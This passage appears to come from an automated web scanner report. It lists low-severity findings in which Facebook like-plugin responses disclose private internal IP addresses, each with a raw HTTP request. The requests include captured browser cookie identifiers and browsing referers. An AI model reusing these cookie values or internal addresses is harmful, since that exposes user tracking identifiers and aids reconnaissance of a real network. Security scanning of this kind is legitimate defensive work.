GET /extern/login_status.php?api_key=16995676698&app_id=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfb35a3a1e567%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent.parent%26transport%3Dpostmessage&display=hidden&extern=2&locale=en_US&next=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df12b7c841008942%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df109d4cb42dbac4%26result%3D%2522xxRESULTTOKENxx%2522&no_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1f1d72a9dd6c5c%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df109d4cb42dbac4&no_user=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3d19e8101ce766%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df109d4cb42dbac4&ok_session=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2b31c9642ae38c%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent%26transport%3Dpostmessage%26frame%3Df109d4cb42dbac4&sdk=joey&session_origin=1&session_version=3 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.43.150.31
X-Cnection: close
Date: Mon, 19 Sep 2011 19:24:48 GMT
Content-Length: 259

<script type="text/javascript">
parent.postMessage("cb=f3d19e8101ce766&origin=http\u00253A\u00252F\u00252Fnews.cnet.com\u00252Ff31e9240e8a9c24&relation=parent&transport=postmessage&frame=f109d4cb42dba
...[SNIP]...

15.30. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.183.59

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df296607f3%26origin%3Dhttp%253A%252F%252Ftwittercounter.com%252Ff3aff3ee8%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=lucida%20grande&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FTwitter-Counter%2F109369489135166&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=100 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://twittercounter.com/pages/twitter-widget
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.31. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.145.73

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Dfbb82fb335e9bc%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fnews.cnet.com%2F8301-27080_3-20107098-245%2Ffbi-investigating-hacking-of-celebrities%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.32. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.242.32

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df393cfd6ec%26origin%3Dhttp%253A%252F%252Ftwincitiesfirm.com%252Ffdc74c7bc%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fapps%2Fdirectory.php%23!%2Fpages%2FMinneapolis-MN%2FTwin-Cities-Law-Firm-LLC%2F139174791623&layout=standard&locale=en_US&node_type=link&sdk=joey&show_faces=true&width=600 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://twincitiesfirm.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.33. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.23.31

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df3ff3e19f369cf2%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fnews.cnet.com%2F8301-1009_3-20106450-83%2Fu.s-australia-to-add-cyber-realm-to-defense-pact%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.34. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.135.51

Request

GET /plugins/like.php?href=http%3A%2F%2Fdailydeal.de%2Fgutschein-wellness-beauty-berlin-zahnarzt-dr-med-rainer-mueller-kosmetische-zahnreinigung-090911&layout=button_count&show_faces=false&width=197&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://dailydeal.de/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.35. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.238.54

Request

GET /plugins/like.php?href=http://lawyerist.com/top-tech-upgrades-lab-report/&layout=button_count&show_faces=false&width=85&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/top-tech-upgrades-lab-report/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.36. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.182.47

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df2a07878f4e7cc8%26origin%3Dhttp%253A%252F%252Fdownload.cnet.com%252Ff749aca5928b3a%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet%23reg&layout=button_count&locale=en_US&node_type=link&ref=fblike&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://download.cnet.com/windows/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.37. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.134.61

Request

GET /plugins/like.php?href=http%3A%2F%2Fdailydeal.de%2Fgutschein-nat-total-speed-1890911&layout=button_count&show_faces=false&width=197&action=like&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://dailydeal.de/specialdeals/speeddeal/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.38. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.64.185.33

Request

GET /plugins/like.php?href=http://lawyerist.com/clio-sync-outlook/&layout=box_count&show_faces=false&width=60&action=like&colorscheme=light&height=45 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://lawyerist.com/clio-sync-outlook/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.39. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.62.72.31

Request

GET /plugins/like.php?app_id=132513070157462&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FHorde-LLC%2F192707224109487&send=false&layout=button_count&width=450&show_faces=true&action=like&colorscheme=light&font=arial&height=21 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.horde.org/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.40. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.145.67

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df234b9da93b87ee%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fnews.cnet.com%2F8301-1009_3-20106876-83%2Fprivacy-at-risk-whos-watching-you-roundup%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.41. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.144.77

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df350cf7f8f32ad4%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ff31e9240e8a9c24%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet%23reg&layout=button_count&locale=en_US&node_type=link&ref=fblike&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.42. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.73.56

Request

GET /plugins/like.php?href=http://www.csoonline.com/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers&layout=button_count&show_faces=false&width=85&action=like&font&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.csoonline.com/article/689774/facebook-pwn-tool-steals-profile-info-helps-social-engineers
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.43. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.42.248.51

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df33cde37ae700bc%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fnews.cnet.com%2F8301-10805_3-20106681-75%2Fwindows-8-to-offer-built-in-malware-protection%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.44. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.72.118

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df1b4498e3a6081a%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet%23reg&layout=button_count&locale=en_US&node_type=link&ref=fblike&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cnet.com/internet-security/?tag=mncol;txt
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.45. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.9.37

Request

GET /plugins/like.php?app_id=215820841793511&href=http%3A%2F%2Fwww.itworld.com%2Fit-managementstrategy%2F204223%2Fcyber-harassers-you-can-hide-you-can-t-run&send=false&layout=button_count&width=90&show_faces=true&action=like&colorscheme=light&font=arial&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/it-managementstrategy/204223/cyber-harassers-you-can-hide-you-can-t-run
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.46. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.90.119

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df7f9414cdeee3c%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet%23reg&layout=button_count&locale=en_US&node_type=link&ref=fblike&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cnet.com/internet-security/?tag=mncol;txt
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.47. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.110.128

Request

GET /plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.cnet.com/internet-security/?tag=mncol;txt
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.48. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.201.43

Request

GET /plugins/like.php?channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df38d1f64e8%26origin%3Dhttp%253A%252F%252Ftwittercounter.com%252Ff266cb7734%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=lucida%20grande&href=http%3A%2F%2Fwww.facebook.com%2Fpages%2FTwitter-Counter%2F109369489135166&layout=button_count&locale=en_US&node_type=link&sdk=joey&show_faces=false&width=100 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://twittercounter.com/pages/100
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3D%26placement%3Drecommendations%26extra_2%3DUS; datr=ivleTmw_y94Pr8J55qefqDAM

Response

15.49. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.43.155.75

Request

GET /plugins/like.php?action=recommend&api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df259e33a5f283ac%26origin%3Dhttp%253A%252F%252Fnews.cnet.com%252Ffd9cdd4a14686%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&font=arial&href=http%3A%2F%2Fnews.cnet.com%2F8301-13506_3-20106648-17%2Fheidi-klum-the-most-dangerous-celeb-on-the-net%2F&layout=button_count&locale=en_US&node_type=link&ref=fbrecT&sdk=joey&show_faces=false&width=130 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://news.cnet.com/security/?tag=hdr;snav
Cookie: datr=wBc3TiBHvRZVzlo1IH6EEoST; lu=SAa1VWe96iHwXaDAVSJQxUsw

Response

15.50. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.54.82.44

Request

Response

15.51. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.36.75.129

Request

GET /plugins/like.php?api_key=16995676698&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D3%23cb%3Df840e764edb042%26origin%3Dhttp%253A%252F%252Fwww.cnet.com%252Ff97219f897485%26relation%3Dparent.parent%26transport%3Dpostmessage&extended_social_context=false&href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&locale=en_US&node_type=link&ref=fbliketool&sdk=joey&show_faces=false&width=90 HTTP/1.1
Host: www.facebook.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
